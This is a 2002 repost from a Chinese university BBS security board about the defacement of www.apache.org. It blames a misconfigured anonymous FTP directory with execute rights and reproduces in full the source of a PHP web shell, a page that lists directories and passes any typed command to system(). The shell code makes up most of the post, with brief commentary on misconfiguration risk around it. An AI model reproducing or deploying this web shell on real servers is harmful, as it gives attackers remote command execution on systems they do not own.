荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: ethanwy (朽木儿), 信区: Security
标  题: 【转】关于www.apache.org被入侵的联想
发信站: 荔园晨风BBS站 (Wed Mar  6 09:27:21 2002), 转信


  关于www.apache.org被入侵的联想
作者:雾中鸟
通过网浪的一篇《某"灰帽子"hacker修改 www.apache.org 主页的经过自述》的讲述,
让更多人知道网络是一个极不平静的世界。
总所周知,Apache web server是全球使用最广泛的Web Server软件之一,在很多调查中
反映,Apache web server比Microsoft公司的Internet Information Server(IIS)都
具有较高的安全性能,不过如果你看过上面一篇文章你就可以发现,由于配置的缺陷就
会产生很大的漏洞。
文章提到,在匿名ftp://ftp.apache.org中存在一个映射存在执行的权限,然而apache
常用的是php脚本,通过编写一个php的一个木马,就可以得到系统的root,代码如下:

<title>PHP Shell</title>
</head>
<body>
<h1>PHP Shell</h1>
<?php
/* First we check if there has been asked for a working directory. */
if (isset($work_dir)) {/* A workdir has been asked for - we chdir to that di
r. */
chdir($work_dir);
$work_dir = exec("pwd");
}
else {/* No work_dir - we chdir to $DOCUMENT_ROOT */
chdir($DOCUMENT_ROOT);
$work_dir = $DOCUMENT_ROOT;
}
?>
<form name="myform" action="<?php echo $PHP_SELF ?>" method="post">
<p>Current working directory: <b>
<?php
$work_dir_splitted = explode("/", substr($work_dir, 1));
echo "<a href=\"$PHP_SELF?work_dir=" . urlencode($url) . "/&command=" . urle
ncode($command) . "\">Root</a>/";
if ($work_dir_splitted[0] == "")
{
$work_dir = "/"; /* Root directory. */
}
else {
for ($i = 0; $i < count($work_dir_splitted); $i++)
{
/* echo "i = $i";*/
$url .= "/".$work_dir_splitted[$i];
echo "<a href=\"$PHP_SELF?work_dir=" . urlencode($url) . "&command=" . urlen
code($command) . "\">$work_dir_splitted[$i]</a>/";
}
}
?>
</b>
</p>
<p>Choose new working directory:</p>
<select name="work_dir" onChange="this.form.submit()">
<?php/* Now we make a list of the directories. */
$dir_handle = opendir($work_dir);
/* Run through all the files and directories to find the dirs. */
while ($dir = readdir($dir_handle))
{
if (is_dir($dir))
{
if ($dir == ".")
{
echo "<option value=\"$work_dir\" selected>Current Directory</option>\n";
}
elseif ($dir == "..")
{
/* We have found the parent dir. We must be carefull if the parent
  directory is the root directory (/). */
if (strlen($work_dir) == 1)
{
  /* work_dir is only 1 charecter - it can only be / */
}
elseif (strrpos($work_dir, "/") == 0)
{
  /* The last / in work_dir were the first charecter.
  This means that we have a top-level directory
  eg. /bin or /home etc... */
echo "<option value=\"/\">Parent Directory</option>\n";
}
else {
/* We do a little bit of string-manipulation to find the parent
  directory... Trust me - it works :-) */
echo "<option value=\"". strrev(substr(strstr(strrev($work_dir), "/"), 1)) .
"\">Parent Directory</option>\n";
}
}
else {
if ($work_dir == "/")
{
  echo "<option value=\"$work_dir$dir\">$dir</option>\n";
}
else {
  echo "<option value=\"$work_dir/$dir\">$dir</option>\n";
}
}
}
}
closedir($dir_handle);
?>
</select>
<p>Command:</p>
<input type="text" name="command" size="60" <?php if ($command) { echo "valu
e=\"$command\"";} ?> >
<input name="submit_btn" type="submit" value="Execute Command"></p>
<p>Enable <code>stderr</code>-trapping? <input type="checkbox" name="stderr"
></p>
<p>Output:</p>
<textarea cols="80" rows="20" readonly>
<?php
if ($command) {
if ($stderr) {
system($command . " 1> /tmp/output.txt 2>&1;
cat /tmp/output.txt; rm /tmp/output.txt");
}
else {
system($command);
}
}
?>
</textarea>
</form>
<hr>
<i>Copyright &copy; 2000, <a
href="mailto:gimpster@gimpster.com">Martin Geisler</a>. Get the latest
version at <a href="http://www.gimpster.com">www.gimpster.com</a>.</i>
</body>
</html>
这样就可以得到如下的结果(为了方便使用word,此程序是在apache 1.3.23+php-4.0.
4调试):
由此可知,一个简单的错误配置,就可以造成很大的灾害!同样,这也是很多用户面临
的问题。关于本文的具体内容,请参阅《某"灰帽子"hacker修改 www.apache.org 主页
的经过自述》。
编辑: 雾中鸟
来源: 小榕论坛

--

       \_\/                       .-==/~\
      ___/_,__,_ __ ____ ____ __)/   /{~}}
      ---,---,------------------,\'-' {{~}
                                  '-==\}/

※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.33.42]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店